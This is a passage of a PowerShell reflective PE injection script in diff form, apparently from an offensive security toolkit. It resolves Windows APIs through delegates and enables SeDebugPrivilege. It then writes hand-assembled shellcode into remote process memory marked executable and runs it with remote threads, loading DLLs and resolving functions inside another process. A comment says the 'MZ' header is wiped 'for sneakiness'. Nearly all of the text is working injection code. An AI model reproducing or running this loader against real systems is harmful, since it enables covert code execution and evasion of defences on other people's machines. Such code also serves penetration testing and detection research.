586586 $AdjustTokenPrivilegesAddr = Get-ProcAddress Advapi32.dll AdjustTokenPrivileges
587587 $AdjustTokenPrivilegesDelegate = Get-DelegateType @([IntPtr], [Bool], [IntPtr], [UInt32], [IntPtr], [IntPtr]) ([Bool])
588588 $AdjustTokenPrivileges = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($AdjustTokenPrivilegesAddr, $AdjustTokenPrivilegesDelegate)
589589 $Win32Functions | Add-Member -MemberType NoteProperty -Name AdjustTokenPrivileges -Value $AdjustTokenPrivileges
590
590
591591 $LookupPrivilegeValueAddr = Get-ProcAddress Advapi32.dll LookupPrivilegeValueA
592592 $LookupPrivilegeValueDelegate = Get-DelegateType @([String], [String], [IntPtr]) ([Bool])
593593 $LookupPrivilegeValue = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LookupPrivilegeValueAddr, $LookupPrivilegeValueDelegate)
594594 $Win32Functions | Add-Member -MemberType NoteProperty -Name LookupPrivilegeValue -Value $LookupPrivilegeValue
595
595
596596 $ImpersonateSelfAddr = Get-ProcAddress Advapi32.dll ImpersonateSelf
597597 $ImpersonateSelfDelegate = Get-DelegateType @([Int32]) ([Bool])
598598 $ImpersonateSelf = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateSelfAddr, $ImpersonateSelfDelegate)
599599 $Win32Functions | Add-Member -MemberType NoteProperty -Name ImpersonateSelf -Value $ImpersonateSelf
600
600
601601 # NtCreateThreadEx is only ever called on Vista and Win7. NtCreateThreadEx is not exported by ntdll.dll in Windows XP
602602 if (([Environment]::OSVersion.Version -ge (New-Object 'Version' 6,0)) -and ([Environment]::OSVersion.Version -lt (New-Object 'Version' 6,2))) {
603603 $NtCreateThreadExAddr = Get-ProcAddress NtDll.dll NtCreateThreadEx
605605 $NtCreateThreadEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($NtCreateThreadExAddr, $NtCreateThreadExDelegate)
606606 $Win32Functions | Add-Member -MemberType NoteProperty -Name NtCreateThreadEx -Value $NtCreateThreadEx
607607 }
608
608
609609 $IsWow64ProcessAddr = Get-ProcAddress Kernel32.dll IsWow64Process
610610 $IsWow64ProcessDelegate = Get-DelegateType @([IntPtr], [Bool].MakeByRefType()) ([Bool])
611611 $IsWow64Process = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($IsWow64ProcessAddr, $IsWow64ProcessDelegate)
612612 $Win32Functions | Add-Member -MemberType NoteProperty -Name IsWow64Process -Value $IsWow64Process
613
613
614614 $CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
615615 $CreateThreadDelegate = Get-DelegateType @([IntPtr], [IntPtr], [IntPtr], [IntPtr], [UInt32], [UInt32].MakeByRefType()) ([IntPtr])
616616 $CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)
617617 $Win32Functions | Add-Member -MemberType NoteProperty -Name CreateThread -Value $CreateThread
618
618
619619 $LocalFreeAddr = Get-ProcAddress kernel32.dll VirtualFree
620620 $LocalFreeDelegate = Get-DelegateType @([IntPtr])
621621 $LocalFree = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($LocalFreeAddr, $LocalFreeDelegate)
625625 }
626626 #####################################
627627
628
628
629629 #####################################
630630 ########### HELPERS ############
631631 #####################################
638638 [Parameter(Position = 0, Mandatory = $true)]
639639 [Int64]
640640 $Value1,
641
641
642642 [Parameter(Position = 1, Mandatory = $true)]
643643 [Int64]
644644 $Value2
645645 )
646
646
647647 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
648648 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
649649 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
664664 {
665665 $CarryOver = 0
666666 }
667
668
667
668
669669 [UInt16]$Sum = $Val - $Value2Bytes[$i]
670670
671671 $FinalBytes[$i] = $Sum -band 0x00FF
675675 {
676676 Throw "Cannot subtract bytearrays of different sizes"
677677 }
678
678
679679 return [BitConverter]::ToInt64($FinalBytes, 0)
680680 }
681
681
682682
683683 Function Add-SignedIntAsUnsigned
684684 {
686686 [Parameter(Position = 0, Mandatory = $true)]
687687 [Int64]
688688 $Value1,
689
689
690690 [Parameter(Position = 1, Mandatory = $true)]
691691 [Int64]
692692 $Value2
693693 )
694
694
695695 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
696696 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
697697 [Byte[]]$FinalBytes = [BitConverter]::GetBytes([UInt64]0)
705705 [UInt16]$Sum = $Value1Bytes[$i] + $Value2Bytes[$i] + $CarryOver
706706
707707 $FinalBytes[$i] = $Sum -band 0x00FF
708
708
709709 if (($Sum -band 0xFF00) -eq 0x100)
710710 {
711711 $CarryOver = 1
720720 {
721721 Throw "Cannot add bytearrays of different sizes"
722722 }
723
723
724724 return [BitConverter]::ToInt64($FinalBytes, 0)
725725 }
726
726
727727
728728 Function Compare-Val1GreaterThanVal2AsUInt
729729 {
731731 [Parameter(Position = 0, Mandatory = $true)]
732732 [Int64]
733733 $Value1,
734
734
735735 [Parameter(Position = 1, Mandatory = $true)]
736736 [Int64]
737737 $Value2
738738 )
739
739
740740 [Byte[]]$Value1Bytes = [BitConverter]::GetBytes($Value1)
741741 [Byte[]]$Value2Bytes = [BitConverter]::GetBytes($Value2)
742742
758758 {
759759 Throw "Cannot compare byte arrays of different size"
760760 }
761
761
762762 return $false
763763 }
764
764
765765
766766 Function Convert-UIntToInt
767767 {
770770 [UInt64]
771771 $Value
772772 )
773
773
774774 [Byte[]]$ValueBytes = [BitConverter]::GetBytes($Value)
775775 return ([BitConverter]::ToInt64($ValueBytes, 0))
776776 }
777
778
777
778
779779 Function Test-MemoryRangeValid
780780 {
781781 Param(
782782 [Parameter(Position = 0, Mandatory = $true)]
783783 [String]
784784 $DebugString,
785
785
786786 [Parameter(Position = 1, Mandatory = $true)]
787787 [System.Object]
788788 $PEInfo,
789
789
790790 [Parameter(Position = 2, Mandatory = $true)]
791791 [IntPtr]
792792 $StartAddress,
793
793
794794 [Parameter(ParameterSetName = "Size", Position = 3, Mandatory = $true)]
795795 [IntPtr]
796796 $Size
797797 )
798
798
799799 [IntPtr]$FinalEndAddress = [IntPtr](Add-SignedIntAsUnsigned ($StartAddress) ($Size))
800
800
801801 $PEEndAddress = $PEInfo.EndAddress
802
802
803803 if ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.PEHandle) ($StartAddress)) -eq $true)
804804 {
805805 Throw "Trying to write to memory smaller than allocated address range. $DebugString"
809809 Throw "Trying to write to memory greater than allocated address range. $DebugString"
810810 }
811811 }
812
813
812
813
814814 Function Write-BytesToMemory
815815 {
816816 Param(
817817 [Parameter(Position=0, Mandatory = $true)]
818818 [Byte[]]
819819 $Bytes,
820
820
821821 [Parameter(Position=1, Mandatory = $true)]
822822 [IntPtr]
823823 $MemoryAddress
824824 )
825
825
826826 for ($Offset = 0; $Offset -lt $Bytes.Length; $Offset++)
827827 {
828828 [System.Runtime.InteropServices.Marshal]::WriteByte($MemoryAddress, $Offset, $Bytes[$Offset])
829829 }
830830 }
831
831
832832
833833 #Function written by Matt Graeber, Twitter: @mattifestation, Blog: http://www.exploit-monday.com/
834834 Function Get-DelegateType
836836 Param
837837 (
838838 [OutputType([Type])]
839
839
840840 [Parameter( Position = 0)]
841841 [Type[]]
842842 $Parameters = (New-Object Type[](0)),
843
843
844844 [Parameter( Position = 1 )]
845845 [Type]
846846 $ReturnType = [Void]
855855 $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
856856 $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
857857 $MethodBuilder.SetImplementationFlags('Runtime, Managed')
858
858
859859 Write-Output $TypeBuilder.CreateType()
860860 }
861861
866866 Param
867867 (
868868 [OutputType([IntPtr])]
869
869
870870 [Parameter( Position = 0, Mandatory = $True )]
871871 [String]
872872 $Module,
873
873
874874 [Parameter( Position = 1, Mandatory = $True )]
875875 [String]
876876 $Procedure
882882 $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
883883 # Get a reference to the GetModuleHandle and GetProcAddress methods
884884 $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
885 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
885 $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))
886886 # Get a handle to the module specified
887887 $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
888888 $tmpPtr = New-Object IntPtr
891891 # Return the address of the function
892892 Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
893893 }
894
895
894
895
896896 Function Enable-SeDebugPrivilege
897897 {
898898 Param(
899899 [Parameter(Position = 1, Mandatory = $true)]
900900 [System.Object]
901901 $Win32Functions,
902
902
903903 [Parameter(Position = 2, Mandatory = $true)]
904904 [System.Object]
905905 $Win32Types,
906
906
907907 [Parameter(Position = 3, Mandatory = $true)]
908908 [System.Object]
909909 $Win32Constants
910910 )
911
911
912912 [IntPtr]$ThreadHandle = $Win32Functions.GetCurrentThread.Invoke()
913913 if ($ThreadHandle -eq [IntPtr]::Zero)
914914 {
915915 Throw "Unable to get the handle to the current thread"
916916 }
917
917
918918 [IntPtr]$ThreadToken = [IntPtr]::Zero
919919 [Bool]$Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
920920 if ($Result -eq $false)
927927 {
928928 Throw "Unable to impersonate self"
929929 }
930
930
931931 $Result = $Win32Functions.OpenThreadToken.Invoke($ThreadHandle, $Win32Constants.TOKEN_QUERY -bor $Win32Constants.TOKEN_ADJUST_PRIVILEGES, $false, [Ref]$ThreadToken)
932932 if ($Result -eq $false)
933933 {
939939 Throw "Unable to OpenThreadToken. Error code: $ErrorCode"
940940 }
941941 }
942
942
943943 [IntPtr]$PLuid = [System.Runtime.InteropServices.Marshal]::AllocHGlobal([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.LUID))
944944 $Result = $Win32Functions.LookupPrivilegeValue.Invoke($null, "SeDebugPrivilege", $PLuid)
945945 if ($Result -eq $false)
961961 {
962962 #Throw "Unable to call AdjustTokenPrivileges. Return value: $Result, Errorcode: $ErrorCode" #todo need to detect if already set
963963 }
964
964
965965 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($TokenPrivilegesMem)
966966 }
967
968
967
968
969969 Function Invoke-CreateRemoteThread
970970 {
971971 Param(
972972 [Parameter(Position = 1, Mandatory = $true)]
973973 [IntPtr]
974974 $ProcessHandle,
975
975
976976 [Parameter(Position = 2, Mandatory = $true)]
977977 [IntPtr]
978978 $StartAddress,
979
979
980980 [Parameter(Position = 3, Mandatory = $false)]
981981 [IntPtr]
982982 $ArgumentPtr = [IntPtr]::Zero,
983
983
984984 [Parameter(Position = 4, Mandatory = $true)]
985985 [System.Object]
986986 $Win32Functions
987987 )
988
988
989989 [IntPtr]$RemoteThreadHandle = [IntPtr]::Zero
990
990
991991 $OSVersion = [Environment]::OSVersion.Version
992992 #Vista and Win7
993993 if (($OSVersion -ge (New-Object 'Version' 6,0)) -and ($OSVersion -lt (New-Object 'Version' 6,2)))
10061006 Write-Verbose "Windows XP/8 detected, using CreateRemoteThread. Address of thread: $StartAddress"
10071007 $RemoteThreadHandle = $Win32Functions.CreateRemoteThread.Invoke($ProcessHandle, [IntPtr]::Zero, [UIntPtr][UInt64]0xFFFF, $StartAddress, $ArgumentPtr, 0, [IntPtr]::Zero)
10081008 }
1009
1009
10101010 if ($RemoteThreadHandle -eq [IntPtr]::Zero)
10111011 {
10121012 Write-Verbose "Error creating remote thread, thread handle is null"
10131013 }
1014
1014
10151015 return $RemoteThreadHandle
10161016 }
10171017
1018
1018
10191019
10201020 Function Get-ImageNtHeaders
10211021 {
10231023 [Parameter(Position = 0, Mandatory = $true)]
10241024 [IntPtr]
10251025 $PEHandle,
1026
1026
10271027 [Parameter(Position = 1, Mandatory = $true)]
10281028 [System.Object]
10291029 $Win32Types
10301030 )
1031
1031
10321032 $NtHeadersInfo = New-Object System.Object
1033
1033
10341034 #Normally would validate DOSHeader here, but we did it before this function was called and then destroyed 'MZ' for sneakiness
10351035 $dosHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($PEHandle, [Type]$Win32Types.IMAGE_DOS_HEADER)
10361036
10381038 [IntPtr]$NtHeadersPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEHandle) ([Int64][UInt64]$dosHeader.e_lfanew))
10391039 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value $NtHeadersPtr
10401040 $imageNtHeaders64 = [System.Runtime.InteropServices.Marshal]::PtrToStructure($NtHeadersPtr, [Type]$Win32Types.IMAGE_NT_HEADERS64)
1041
1041
10421042 #Make sure the IMAGE_NT_HEADERS checks out. If it doesn't, the data structure is invalid. This should never happen.
10431043 if ($imageNtHeaders64.Signature -ne 0x00004550)
10441044 {
10451045 throw "Invalid IMAGE_NT_HEADER signature."
10461046 }
1047
1047
10481048 if ($imageNtHeaders64.OptionalHeader.Magic -eq 'IMAGE_NT_OPTIONAL_HDR64_MAGIC')
10491049 {
10501050 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders64
10561056 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value $imageNtHeaders32
10571057 $NtHeadersInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value $false
10581058 }
1059
1059
10601060 return $NtHeadersInfo
10611061 }
10621062
10681068 [Parameter( Position = 0, Mandatory = $true )]
10691069 [Byte[]]
10701070 $PEBytes,
1071
1071
10721072 [Parameter(Position = 1, Mandatory = $true)]
10731073 [System.Object]
10741074 $Win32Types
10751075 )
1076
1076
10771077 $PEInfo = New-Object System.Object
1078
1078
10791079 #Write the PE to memory temporarily so I can get information from it. This is not it's final resting spot.
10801080 [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length)
10811081 [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null
1082
1082
10831083 #Get NtHeadersInfo
10841084 $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types
1085
1085
10861086 #Build a structure with the information which will be needed for allocating memory and writing the PE to memory
10871087 $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit)
10881088 $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase)
10891089 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
10901090 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders)
10911091 $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics)
1092
1092
10931093 #Free the memory allocated above, this isn't where we allocate the PE to memory
10941094 [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes)
1095
1095
10961096 return $PEInfo
10971097 }
10981098
11051105 [Parameter( Position = 0, Mandatory = $true)]
11061106 [IntPtr]
11071107 $PEHandle,
1108
1108
11091109 [Parameter(Position = 1, Mandatory = $true)]
11101110 [System.Object]
11111111 $Win32Types,
1112
1112
11131113 [Parameter(Position = 2, Mandatory = $true)]
11141114 [System.Object]
11151115 $Win32Constants
11161116 )
1117
1117
11181118 if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero)
11191119 {
11201120 throw 'PEHandle is null or IntPtr.Zero'
11211121 }
1122
1122
11231123 $PEInfo = New-Object System.Object
1124
1124
11251125 #Get NtHeaders information
11261126 $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types
1127
1127
11281128 #Build the PEInfo object
11291129 $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle
11301130 $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS)
11311131 $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr)
11321132 $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit)
11331133 $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage)
1134
1134
11351135 if ($PEInfo.PE64Bit -eq $true)
11361136 {
11371137 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64)))
11421142 [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32)))
11431143 $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr
11441144 }
1145
1145
11461146 if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL)
11471147 {
11481148 $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL'
11551155 {
11561156 Throw "PE file is not an EXE or DLL"
11571157 }
1158
1158
11591159 return $PEInfo
11601160 }
1161
1162
1161
1162
11631163 Function Import-DllInRemoteProcess
11641164 {
11651165 Param(
11661166 [Parameter(Position=0, Mandatory=$true)]
11671167 [IntPtr]
11681168 $RemoteProcHandle,
1169
1169
11701170 [Parameter(Position=1, Mandatory=$true)]
11711171 [IntPtr]
11721172 $ImportDllPathPtr
11731173 )
1174
1174
11751175 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
1176
1176
11771177 $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr)
11781178 $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1)
11791179 $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
11841184
11851185 [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero
11861186 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten)
1187
1187
11881188 if ($Success -eq $false)
11891189 {
11901190 Throw "Unable to write DLL path to remote process memory"
11931193 {
11941194 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
11951195 }
1196
1196
11971197 $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
11981198 $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes
1199
1199
12001200 [IntPtr]$DllAddress = [IntPtr]::Zero
12011201 #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address
12021202 # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes.
12081208 {
12091209 Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA"
12101210 }
1211
1212
1211
1212
12131213 #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm)
12141214 $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9)
12151215 $LoadLibrarySC2 = @(0x48, 0xba)
12161216 $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba)
12171217 $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3)
1218
1218
12191219 $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3)
12201220 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
12211221 $SCPSMemOriginal = $SCPSMem
1222
1222
12231223 Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem
12241224 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length)
12251225 [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false)
12351235 Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem
12361236 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length)
12371237
1238
1238
12391239 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
12401240 if ($RSCAddr -eq [IntPtr]::Zero)
12411241 {
12421242 Throw "Unable to allocate memory in the remote process for shellcode"
12431243 }
1244
1244
12451245 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
12461246 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
12471247 {
12481248 Throw "Unable to write shellcode to remote process memory."
12491249 }
1250
1250
12511251 $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
12521252 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
12531253 if ($Result -ne 0)
12541254 {
12551255 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
12561256 }
1257
1257
12581258 #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory
12591259 [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
12601260 $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
12751275 {
12761276 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
12771277 }
1278
1278
12791279 [Int32]$ExitCode = 0
12801280 $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode)
12811281 if (($Result -eq 0) -or ($ExitCode -eq 0))
12821282 {
12831283 Throw "Call to GetExitCodeThread failed"
12841284 }
1285
1285
12861286 [IntPtr]$DllAddress = [IntPtr]$ExitCode
12871287 }
1288
1288
12891289 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1290
1290
12911291 return $DllAddress
12921292 }
1293
1294
1293
1294
12951295 Function Get-RemoteProcAddress
12961296 {
12971297 Param(
12981298 [Parameter(Position=0, Mandatory=$true)]
12991299 [IntPtr]
13001300 $RemoteProcHandle,
1301
1301
13021302 [Parameter(Position=1, Mandatory=$true)]
13031303 [IntPtr]
13041304 $RemoteDllHandle,
1305
1305
13061306 [Parameter(Position=2, Mandatory=$true)]
13071307 [String]
13081308 $FunctionName
13101310
13111311 $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])
13121312 $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName)
1313
1313
13141314 #Write FunctionName to memory (will be used in GetProcAddress)
13151315 $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1)
13161316 $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
13301330 {
13311331 Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process"
13321332 }
1333
1333
13341334 #Get address of GetProcAddress
13351335 $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll")
13361336 $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes
13371337
1338
1338
13391339 #Allocate memory for the address returned by GetProcAddress
13401340 $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE)
13411341 if ($GetProcAddressRetMem -eq [IntPtr]::Zero)
13421342 {
13431343 Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress"
13441344 }
1345
1346
1345
1346
13471347 #Write Shellcode to the remote process which will call GetProcAddress
13481348 #Shellcode: GetProcAddress.asm
13491349 #todo: need to have detection for when to get by ordinal
13671367 $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4)
13681368 $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength)
13691369 $SCPSMemOriginal = $SCPSMem
1370
1370
13711371 Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem
13721372 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length)
13731373 [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false)
13861386 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize)
13871387 Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem
13881388 $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length)
1389
1389
13901390 $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE)
13911391 if ($RSCAddr -eq [IntPtr]::Zero)
13921392 {
13931393 Throw "Unable to allocate memory in the remote process for shellcode"
13941394 }
1395
1395
13961396 $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten)
13971397 if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength))
13981398 {
13991399 Throw "Unable to write shellcode to remote process memory."
14001400 }
1401
1401
14021402 $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions
14031403 $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000)
14041404 if ($Result -ne 0)
14051405 {
14061406 Throw "Call to CreateRemoteThread to call GetProcAddress failed."
14071407 }
1408
1408
14091409 #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory
14101410 [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize)
14111411 $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten)
14181418 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
14191419 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
14201420 $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null
1421
1421
14221422 return $ProcAddress
14231423 }
14241424
14291429 [Parameter(Position = 0, Mandatory = $true)]
14301430 [Byte[]]
14311431 $PEBytes,
1432
1432
14331433 [Parameter(Position = 1, Mandatory = $true)]
14341434 [System.Object]
14351435 $PEInfo,
1436
1436
14371437 [Parameter(Position = 2, Mandatory = $true)]
14381438 [System.Object]
14391439 $Win32Functions,
1440
1440
14411441 [Parameter(Position = 3, Mandatory = $true)]
14421442 [System.Object]
14431443 $Win32Types
14441444 )
